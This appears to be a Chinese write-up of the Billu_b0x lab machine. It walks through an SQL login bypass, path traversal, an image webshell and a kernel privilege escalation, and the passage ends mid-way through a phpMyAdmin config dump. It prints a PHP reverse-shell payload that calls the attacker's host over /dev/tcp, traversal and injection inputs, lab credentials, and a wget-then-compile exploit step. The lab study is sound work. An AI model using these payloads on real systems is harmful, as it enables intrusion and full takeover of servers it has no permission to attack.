&lt;p&gt;全部扫描记录截图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260421193744094.png&quot; alt=&quot;dirsearch scan dir pic&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;信息收集阶段总结与初步思路&lt;/h3&gt;
&lt;p&gt;总结目前收集到的信息，核心突破点大概率在 SQL 注入上。当前发现的页面中 &lt;code&gt;add.php&lt;/code&gt; 和 &lt;code&gt;index.php&lt;/code&gt; 均存在 SQL 注入的可能性，但常规测试暂未成功。此外，扫描出了 phpMyAdmin 登录页面，后续可尝试使用常见弱口令进行爆破或撞库，看能否直接获取数据库访问权限。同时，&lt;code&gt;test.php&lt;/code&gt; 暴露的文件包含漏洞也是一个高优先级的利用方向。&lt;/p&gt;
&lt;h3&gt;重大发现&lt;/h3&gt;
&lt;p&gt;在测试 test.php 页面时。当时我陷入了思维定式，仅尝试了 GET 方式传参，忽略了改用 POST 方式进行测试。这一疏忽导致我一度遗漏了获取这台靶机 Initial Access 的关键入口。&lt;/p&gt;
&lt;p&gt;实际上，在使用 POST 方式传入 &lt;code&gt;file=&amp;lt;file name&amp;gt;&lt;/code&gt;  就可以将传入参数中指定文件给下载下来，得到了文件，对靶机进行白盒审计，那就很简单了。&lt;/p&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;p&gt;通过 &lt;code&gt;test.php&lt;/code&gt; 下的 LFI 漏洞，可以下载目录扫描到的所有可访问页面，进行代码白盒审计。本次渗透共有两种方法可以进入控制台，先介绍我的第一种方法，后续介绍红笔的打法。&lt;/p&gt;
&lt;h2&gt;2.1 代码白盒审计 &amp;amp; 数据库渗透&lt;/h2&gt;
&lt;p&gt;先讲一下第一种方法。进行白盒审计的时候，在 &lt;code&gt;c.php&lt;/code&gt; 中，发现其中包含一段连接数据库的命令，里面明文写着数据库凭证。我尝试用这组凭据去访问 phpMyAdmin，成功登录。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c.php&lt;/code&gt; 源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
#header( &apos;Z-Powered-By:its chutiyapa xD&apos; );
header(&apos;X-Frame-Options: SAMEORIGIN&apos;);
header( &apos;Server:testing only&apos; );
header( &apos;X-Powered-By:testing only&apos; );

ini_set( &apos;session.cookie_httponly&apos;, 1 );

$conn = mysqli_connect(&quot;127.0.0.1&quot;,&quot;billu&quot;,&quot;b0x_billu&quot;,&quot;ica_lab&quot;);

// Check connection
if (mysqli_connect_errno())
  {
  echo &quot;connection failed -&amp;gt;  &quot; . mysqli_connect_error();
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;核心凭据：&lt;/strong&gt;$conn = mysqli_connect(&quot;127.0.0.1&quot;,&quot;billu&quot;,&quot;b0x_billu&quot;,&quot;ica_lab&quot;);&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;登录 phpMyAdmin 后，可以看到两个数据库：一个是 &lt;code&gt;ica_lab&lt;/code&gt;，另一个是默认的 &lt;code&gt;information_schema&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260426114721815.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续查看 &lt;code&gt;ica_lab&lt;/code&gt; 数据库。在这个数据库中，总共存在三个表：&lt;code&gt;auth&lt;/code&gt;、&lt;code&gt;download&lt;/code&gt; 和 &lt;code&gt;users&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show tables;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tables_in_ica_lab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;auth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;download&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仔细查看 &lt;code&gt;auth&lt;/code&gt; 表，发现里面存放了一组用户名和密码，且密码是明文保存的。我怀疑这是网页后台的登录账户，尝试后发现确实如此。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;uname&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;pass&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;biLLu&lt;/td&gt;
&lt;td&gt;hEx_it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260426115124266.png&quot; alt=&quot;auth 表内容&quot; /&gt;&lt;/p&gt;
&lt;p&gt;download:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260426115055773.png&quot; alt=&quot;download 表内容&quot; /&gt;&lt;/p&gt;
&lt;p&gt;users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260426115105997.png&quot; alt=&quot;users 表内容&quot; /&gt;&lt;/p&gt;
&lt;p&gt;渗透思考： 现在我已经得到了 phpMyAdmin 的账户权限，以及网页用户的明文密码。 下一步的目标是：如何获取网站的物理路径？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;靠猜测？尝试 Apache 默认主路径（如 /var/www/html）？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;能否通过 SQL 查询直接爆出绝对路径？&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我原本想直接通过 SQL 语句写一个反弹 shell 到网页路径下（Into Outfile），但是执行时页面报了类似 Access denied for user... Using password: YES 的错误（错误码 1045）。看来当前数据库用户没有写文件的权限（File 权限被限制）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422142602800.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2.2 SQL注入&lt;/h2&gt;
&lt;p&gt;第二种进入后台的方式是通过主页的 SQL 注入，使用以下万能密钥登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;or 1=1 -- \
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;渗透思考&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;思考：页面返回 &quot;try again&quot; 具体代表什么？&lt;/li&gt;
&lt;li&gt;对比：字符型注入与数字型注入的区别&lt;/li&gt;
&lt;li&gt;实践：POST 注入框的各种万能密钥写法&lt;/li&gt;
&lt;li&gt;疑问：为什么 &lt;code&gt;-- -&lt;/code&gt; 不行，&lt;code&gt;-- \&lt;/code&gt; 却可以？其他闭合方式是否也能奏效？&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;带着疑问去审计处理登录的源码（&lt;code&gt;index.php&lt;/code&gt;）：&lt;/p&gt;
&lt;p&gt;实际拼接的查询语句：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$run=&apos;select * from auth where  pass=\&apos;&apos;.$pass.&apos;\&apos; and uname=\&apos;&apos;.$uname.&apos;\&apos;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;漏洞成因深度解析：&lt;/h3&gt;
&lt;p&gt;这段代码的白盒逻辑很清晰。下面详细讲解这个 SQL 注入绕过的原理：为什么 &lt;code&gt;un&lt;/code&gt; 和 &lt;code&gt;ps&lt;/code&gt; 都填 &lt;code&gt;or 1=1 -- \&lt;/code&gt; 可以绕过登录？&lt;/p&gt;
&lt;h4&gt;第一步：理解代码的&quot;过滤&quot;逻辑&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// 第 44-45 行
$uname = str_replace(&apos;\&apos;&apos;, &apos;&apos;, urldecode($_POST[&apos;un&apos;]));
$pass  = str_replace(&apos;\&apos;&apos;, &apos;&apos;, urldecode($_POST[&apos;ps&apos;]));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开发者试图通过&lt;strong&gt;删除所有单引号 &lt;code&gt;&apos;&lt;/code&gt;&lt;/strong&gt; 来防止 SQL 注入。但这个过滤方法有一个致命的缺陷。&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;第二步：理解 SQL 语句的拼接结构&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// 第 59 行
$run = &apos;select * from auth where pass=\&apos;&apos; . $pass . &apos;\&apos; and uname=\&apos;&apos; . $uname . &apos;\&apos;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;展开后，正常情况下 SQL 是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM auth WHERE pass=&apos;[pass的值]&apos; AND uname=&apos;[uname的值]&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意顺序：&lt;strong&gt;先 pass，后 uname&lt;/strong&gt;。这是绕过的关键！&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;第三步：代入 &lt;code&gt;or 1=1 -- \&lt;/code&gt; 进行分析&lt;/h4&gt;
&lt;p&gt;当 &lt;code&gt;un&lt;/code&gt; 和 &lt;code&gt;ps&lt;/code&gt; 都填入 &lt;code&gt;or 1=1 -- \&lt;/code&gt; 时：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 经过 &lt;code&gt;str_replace&lt;/code&gt; 过滤单引号后&lt;/strong&gt;（单引号被删掉，其他字符保留）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;过滤后的值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$pass&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;or 1=1 -- \&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$uname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;or 1=1 -- \&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;② 代入 SQL 拼接后，完整语句为：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM auth WHERE pass=&apos;or 1=1 -- \&apos; AND uname=&apos;or 1=1 -- \&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;③ 关键！MySQL 如何解析这条语句？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;反斜杠 &lt;code&gt;\&lt;/code&gt; 在 MySQL 字符串中是&lt;strong&gt;转义字符&lt;/strong&gt;，&lt;code&gt;\&apos;&lt;/code&gt; 会被解析为&lt;strong&gt;字面量单引号&lt;/strong&gt;，而不是字符串的结束符！&lt;/p&gt;
&lt;p&gt;所以 MySQL 实际看到的字串边界是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pass=&apos; or 1=1 -- \&apos; AND uname=&apos; or 1=1 -- \&apos;
        ↑_________________________↑
        这整段被当作 pass 字段的&quot;值&quot;（字符串未闭合，继续往后找）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更准确地说，MySQL 会把第一个 &lt;code&gt;&apos;&lt;/code&gt; 到&lt;strong&gt;下一个未被转义的 &lt;code&gt;&apos;&lt;/code&gt;&lt;/strong&gt; 之间的内容当作字符串值。由于 &lt;code&gt;--\&lt;/code&gt; 中的 &lt;code&gt;\&lt;/code&gt; 转义了后面紧跟的 &lt;code&gt;&apos;&lt;/code&gt;，字符串就延伸到了 &lt;code&gt;uname=&lt;/code&gt; 之后。&lt;/p&gt;
&lt;p&gt;实际解析结构如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pass = [or 1=1 -- \&apos; AND uname=or 1=1 -- ]   ← 这是 pass 的值（含 AND uname 部分）
最后一个 \&apos; 后面的内容                   ← 语句结束
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
反斜杠 &lt;code&gt;\&lt;/code&gt; 将紧随其后的单引号 &lt;code&gt;\&apos;&lt;/code&gt; &lt;strong&gt;转义为普通字符&lt;/strong&gt;，&quot;吃掉&quot;了 &lt;code&gt;pass&lt;/code&gt; 字段的闭合引号。&lt;code&gt;AND uname=&apos;or 1=1 --&lt;/code&gt; 这一段变成了 pass 值的一部分，而最后的 &lt;code&gt;\&apos;&lt;/code&gt; 成为该字符串的真正结束，之后语句已完整，实际执行的逻辑条件为 &lt;strong&gt;&lt;code&gt;1=1&lt;/code&gt;（永真条件）&lt;/strong&gt;，导致登录成功。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h4&gt;第四步：为什么查询会返回结果？&lt;/h4&gt;
&lt;p&gt;因为 &lt;code&gt;WHERE&lt;/code&gt; 条件中包含了 &lt;code&gt;1=1&lt;/code&gt;，整张 &lt;code&gt;auth&lt;/code&gt; 表的&lt;strong&gt;所有行&lt;/strong&gt;都会被返回。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (mysqli_num_rows($result) &amp;gt; 0) {  // 有结果 → 登录成功
    $_SESSION[&apos;logged&apos;] = true;
    $_SESSION[&apos;admin&apos;]  = $row[&apos;username&apos;]; // 取第一条用户名
    header(&apos;Location: panel.php&apos;, ...);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询返回行数 &amp;gt; 0，直接登录成功，&lt;code&gt;$_SESSION[&apos;admin&apos;]&lt;/code&gt; 被赋值为数据库中第一个用户的用户名。&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;总结：漏洞成因链&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;开发者只过滤了单引号 (&apos;)
   ↓
但没有处理反斜杠 (\)
   ↓
\&apos; 在 MySQL 中被解析为转义的单引号（而非字符串结束符）
   ↓
pass 字段的字符串被 \ 延长，&quot;吞掉&quot;了 AND uname= 部分
   ↓
最终 WHERE 条件等价于 WHERE 1=1
   ↓
返回全表数据 → 登录成功 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种攻击方式叫做 &lt;strong&gt;反斜杠转义绕过（Backslash Escape Bypass）&lt;/strong&gt;，是 CTF 和实战中过滤不完整时的经典利用手法。正确的防御方式是使用&lt;strong&gt;参数化查询（Prepared Statements）&lt;/strong&gt;，而非字符串过滤。&lt;/p&gt;
&lt;h2&gt;2.3 文件包含漏洞利用&lt;/h2&gt;
&lt;p&gt;成功登录进入 &lt;code&gt;panel.php&lt;/code&gt; 后，页面上有一个表单，包含两个下拉选项。F12 查看页面源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;select name=load&amp;gt;
    &amp;lt;option value=&quot;show&quot;&amp;gt;Show Users&amp;lt;/option&amp;gt;
	&amp;lt;option value=&quot;add&quot;&amp;gt;Add User&amp;lt;/option&amp;gt;
&amp;lt;/select&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422120714200.png&quot; alt=&quot;f12调出panel截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;code&gt;Show Users&lt;/code&gt; 提交，页面列出了两个用户的信息以及对应的头像图片。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422120748093.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;code&gt;Add User&lt;/code&gt; 提交，页面加载了一个可以上传图片并填写用户信息的表单（这个功能在审计 &lt;code&gt;a.php&lt;/code&gt; 时见过）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422120933401.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;寻找突破口&lt;/h3&gt;
&lt;p&gt;当我探测到这一步时，直觉告诉我这里存在文件包含漏洞。因为访问 &lt;code&gt;panel.php&lt;/code&gt; 主页时默认是空的，只有当提交 &lt;code&gt;load&lt;/code&gt; 参数（&lt;code&gt;show&lt;/code&gt; 或 &lt;code&gt;add&lt;/code&gt;）时，页面才加载出对应的内容。&lt;/p&gt;
&lt;p&gt;结合前期 Web 目录枚举扫到的 &lt;code&gt;/add&lt;/code&gt; 和 &lt;code&gt;/show&lt;/code&gt; 目录，可以推断逻辑是：通过 &lt;code&gt;load&lt;/code&gt; 参数将 &lt;code&gt;add.php&lt;/code&gt; 或 &lt;code&gt;show.php&lt;/code&gt; 文件包含到了当前页面中。这与我之前打过的一个靶机非常相似，通过修改 &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; 的值触发文件包含漏洞。&lt;/p&gt;
&lt;p&gt;尝试将 &lt;code&gt;load&lt;/code&gt; 参数修改为目录穿越 payload 读取 &lt;code&gt;/etc/passwd&lt;/code&gt;，成功回显，证明 LFI 存在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;../../../../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422122250400.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：在打这台靶机的时候，我先去没有找到test.php 的利用方法，直接通过sql注入登入进来，后续我尝试用 PHP 伪协议读取 &lt;code&gt;add.php&lt;/code&gt; 源码，但未成功，实际上这台靶机应该直接利用前面发现的 &lt;code&gt;test.php&lt;/code&gt; 漏洞点去读源码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;分析文件上传过滤逻辑&lt;/h3&gt;
&lt;p&gt;查看 &lt;code&gt;add.php&lt;/code&gt; 源码，上传逻辑如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(!empty($_FILES[&apos;image&apos;][&apos;name&apos;]))
{
    $iname = mysqli_real_escape_string($conn, $_FILES[&apos;image&apos;][&apos;name&apos;]);
    $r = pathinfo($_FILES[&apos;image&apos;][&apos;name&apos;], PATHINFO_EXTENSION);
    $image = array(&apos;jpeg&apos;,&apos;jpg&apos;,&apos;gif&apos;,&apos;png&apos;);

    if(in_array($r, $image))
    {
        $finfo = @new finfo(FILEINFO_MIME);
        $filetype = @$finfo-&amp;gt;file($_FILES[&apos;image&apos;][&apos;tmp_name&apos;]);

        if(preg_match(&apos;/image\/jpeg/&apos;, $filetype) || preg_match(&apos;/image\/png/&apos;, $filetype) || preg_match(&apos;/image\/gif/&apos;, $filetype))
        {
            if(move_uploaded_file($_FILES[&apos;image&apos;][&apos;tmp_name&apos;], &apos;uploaded_images/&apos;.$_FILES[&apos;image&apos;][&apos;name&apos;]))
            {
                echo &quot;Uploaded successfully &quot;;
                $update = &apos;insert into users(name,address,image,id) values(\&apos;&apos;.$name.&apos;\&apos;,\&apos;&apos;.$address.&apos;\&apos;,\&apos;&apos;.$iname.&apos;\&apos;, \&apos;&apos;.$id.&apos;\&apos;)&apos;;
                mysqli_query($conn, $update);
            }
        }
        else
        {
            echo &quot;&amp;lt;br&amp;gt;i told you dear, only png,jpg and gif file are allowed&quot;;
        }
    }
    else
    {
        echo &quot;&amp;lt;br&amp;gt;only png,jpg and gif file are allowed&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过滤机制共两层：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;后缀名白名单&lt;/strong&gt;：仅允许 &lt;code&gt;jpeg&lt;/code&gt;、&lt;code&gt;jpg&lt;/code&gt;、&lt;code&gt;gif&lt;/code&gt;、&lt;code&gt;png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MIME 类型检测&lt;/strong&gt;：通过 &lt;code&gt;finfo&lt;/code&gt; 检测文件真实 MIME 类型&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;绕过思路：将 PHP 反弹 Shell 代码追加到一张真实图片的末尾，使文件通过 MIME 检测，再利用 LFI 漏洞包含执行该文件。&lt;/p&gt;
&lt;h3&gt;文件上传地址&lt;/h3&gt;
&lt;p&gt;通过代码审计确认上传目录为：&lt;code&gt;http://192.168.200.155/uploaded_images/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422205946952.png&quot; alt=&quot;源码图片&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422205924870.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试正常上传流程：上传一张正常的图片，数据库记录指向了正确的文件名，且直接访问 &lt;code&gt;uploaded_images/&lt;/code&gt; 路径能成功看到图片。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422210038272.png&quot; alt=&quot;&quot; /&gt;
访问路径，文件被正常上传成功并能访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260422210050931.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./img/Billu_b0x/image-20260422210157036.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看数据库信息路径确实指向的是这个文件
&lt;img src=&quot;./img/Billu_b0x/image-20260422210130962.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击 show user 查看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260423101805662.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;构造图片木马&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 复制一张真实图片
cp &apos;/path/to/real.png&apos; ./shell.png

# 追加反弹 Shell 代码
echo &apos;&amp;lt;?php exec(&quot;/bin/bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1\&quot;&quot;); ?&amp;gt;&apos; &amp;gt;&amp;gt; shell.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 GIF 格式，也可以直接在文件头写入 &lt;code&gt;GIF89a&lt;/code&gt; 魔术字节绕过 MIME 检测：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cmd.jpg 内容如下
GIF89a
&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;上传并触发执行：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;确认文件上传至 &lt;code&gt;http://192.168.200.155/uploaded_images/&lt;/code&gt; 后，在本地开启监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过修改 &lt;code&gt;panel.php&lt;/code&gt; 的 &lt;code&gt;load&lt;/code&gt; 参数，将值改为 &lt;code&gt;uploaded_images/cmd.jpg&lt;/code&gt;，触发 LFI 包含执行木马文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;load=uploaded_images/cmd.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260423103151858.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功获取 Webshell，反弹 Shell 建立连接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260423102925126.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;3.权限提升&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;p&gt;获得 www-data 的反弹 shell 后，首先进行基本信息枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/Billu_b0x/web]
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.155] 44837
bash: no job control in this shell
www-data@indishell:/var/www$

www-data@indishell:/var/www$ whoami
www-data
www-data@indishell:/var/www$ uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认内核版本为 &lt;strong&gt;3.13.0-32&lt;/strong&gt;，Ubuntu 12.04/14.04，属于较旧版本，存在本地提权利用空间。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;sudo 枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@indishell:/var/www$ sudo -l
sudo: no tty present and no askpass program specified
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法使用 sudo，跳过。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;计划任务枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@indishell:/var/www$ cat /etc/crontab
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;系统 crontab 中无可利用的异常条目，均为系统默认任务。&lt;/p&gt;
&lt;p&gt;进一步检查 &lt;code&gt;/etc/cron.d/&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@indishell:/var/www$ cat /etc/cron.d/php5
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] &amp;amp;&amp;amp; ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;php5 会话清理任务，无可利用点。计划任务路线放弃。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;内核漏洞提权（CVE-2015-1328 overlayfs）&lt;/h3&gt;
&lt;p&gt;内核版本 &lt;code&gt;3.13.0&lt;/code&gt; 符合 CVE-2015-1328 的利用范围（Linux Kernel 3.13.0 &amp;lt; 3.19），搜索对应 EXP：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/Billu_b0x]
└─$ searchsploit -m linux/local/37292.c
  Exploit: Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/37292
     Path: /usr/share/exploitdb/exploits/linux/local/37292.c
    Codes: CVE-2015-1328
 Verified: True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260423111326672.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;漏洞原理&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;overlayfs 在用户命名空间（user namespace）中挂载时未正确检查权限
        ↓
普通用户可向 /etc/ld.so.preload 写入恶意共享库路径
        ↓
/bin/su 以 root 身份执行时，动态链接器加载恶意库
        ↓
getuid() 被 hook → 弹出 root shell
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;攻击链拆解&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;main()
  ├─ fork() 创建子进程
  ├─ unshare(CLONE_NEWUSER)       # 创建新用户命名空间
  ├─ clone(child_exec)            # 创建新挂载命名空间
  │     ├─ mount overlayfs #1     # lowerdir=/proc/sys/kernel
  │     ├─ rename → ld.so.preload # 关键：将文件重命名覆盖
  │     └─ mount overlayfs #2     # upperdir=/etc ← 获得 /etc 写权限
  │
  ├─ open(&quot;/etc/ld.so.preload&quot;)   # 此时 www-data 可写
  ├─ 编译 /tmp/ofs-lib.so         # 恶意动态库
  ├─ 写入库路径到 ld.so.preload
  └─ execl(&quot;/bin/su&quot;)             # 触发加载 → root shell
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实际操作步骤&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;攻击机准备：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit -m linux/local/37292.c
python3 -m http.server 8081
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;靶机执行：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 确认gcc可用
which gcc

# 下载到/tmp
cd /tmp
wget http://192.168.200.142:8081/37292.c

# 编译执行
gcc 37292.c -o ofs
chmod +x ofs
./ofs

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获得 root 权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 成功后
id   # uid=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Billu_b0x/image-20260426134601894.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;补充路线：phpMyAdmin 配置文件泄露密码&lt;/h3&gt;
&lt;p&gt;在 www-data 权限下读取 phpMyAdmin 配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@indishell:/var/www/phpmy$ cat config.inc.php
...
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;
